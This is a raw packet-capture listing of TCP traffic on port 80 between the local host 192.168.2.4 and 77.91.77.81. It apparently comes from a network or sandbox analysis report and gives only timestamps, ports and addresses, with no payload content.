Jul 3, 2024 23:59:25.365086079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.365128040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.365128040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.365433931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365482092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365490913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365586996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365595102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365603924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365609884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.365613937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365637064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.365710974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.365772963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365782022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365791082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365799904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.365825891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.365951061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.366374969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.366421938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.366431952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.366549015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.366558075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.366568089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.366576910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.366579056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.366607904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.366607904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.366715908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.366727114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.366734982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.366745949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.366750002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.366775990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.366833925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.367331982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.367361069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.367371082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.367434025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.367499113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.367510080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.367518902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.367528915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.367585897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.367585897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.367630959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.367641926 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.367650986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.367660046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.367713928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.367713928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.368277073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.368328094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.368357897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.368735075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.406352997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.406366110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.406375885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.406476974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.406486988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.406518936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.406527996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.406598091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.406598091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.406733036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.406742096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.406750917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.406760931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.406769991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.406788111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.409917116 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.431858063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.431869030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.431879044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.431886911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.431896925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.431926012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.431992054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.459014893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459032059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459042072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459050894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459060907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459069967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459131002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.459172010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459182024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459189892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459199905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.459207058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459234953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.459276915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.459312916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459322929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459327936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459336996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459346056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459393024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.459393024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.459500074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459516048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459570885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459578991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.459599972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.463913918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.486195087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486238003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486247063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486376047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486386061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486396074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486404896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.486444950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.486444950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486444950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.486510038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486520052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486530066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486555099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.486613035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486639977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.486661911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486673117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486716986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486728907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486740112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.486845016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486855030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486867905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.486882925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486911058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.486987114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.486996889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487020016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487042904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.487042904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.487086058 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487098932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487111092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487113953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.487138033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.487301111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487313032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487329960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.487340927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487370014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.487457037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487468004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487478971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487489939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487502098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487507105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.487513065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487520933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.487569094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.487569094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.487648964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487659931 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487670898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487680912 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487692118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487701893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487714052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487715006 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.487737894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.487906933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487916946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.487936020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.488116026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488147974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.488161087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488173008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488272905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488284111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488295078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488300085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.488306999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488470078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488486052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488500118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.488503933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488514900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488526106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488535881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488548040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488558054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488562107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.488569975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488570929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.488595963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.488811016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488822937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.488840103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.489056110 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489085913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.489104033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489115000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489132881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.489207983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489218950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489229918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489239931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.489242077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489268064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.489268064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.489469051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489480019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489490032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489496946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.489502907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489512920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489525080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489533901 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.489536047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489547014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489558935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489562988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.489562988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.489612103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.489612103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.489779949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489790916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.489995956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.490050077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.490061045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.490077019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.490133047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.490144968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.490156889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.491909027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.501333952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.501344919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.501353025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.501358986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.501367092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.501377106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.501384974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.501394033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.501413107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.503998995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.534876108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.534966946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.535001993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.535038948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.535049915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.535089970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.535103083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.535139084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.535171986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.535253048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.535284996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.535322905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.535923958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.554707050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.554761887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.554775000 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.554795980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.554807901 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.554842949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.554910898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.554943085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.554955959 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.554976940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.554987907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555011988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555020094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555054903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555078030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555109978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555118084 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555143118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555149078 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555175066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555181026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555207968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555219889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555250883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555260897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555293083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555303097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555326939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555337906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555371046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555396080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555428028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555439949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555463076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555473089 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555495977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555502892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555529118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555538893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555560112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.555573940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.555603027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.583803892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.583857059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.583859921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.583890915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.583910942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.583924055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.583931923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.583957911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.583971977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584003925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584012032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584053993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584064960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584111929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584115982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584145069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584155083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584178925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584188938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584212065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584223986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584244967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584254980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584286928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584296942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584331036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584342957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584379911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584428072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584460974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584472895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584501028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584512949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584544897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584553003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:25.584578991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:25.584589005 CEST	49744	80	192.168.2.4	77.91.77.81
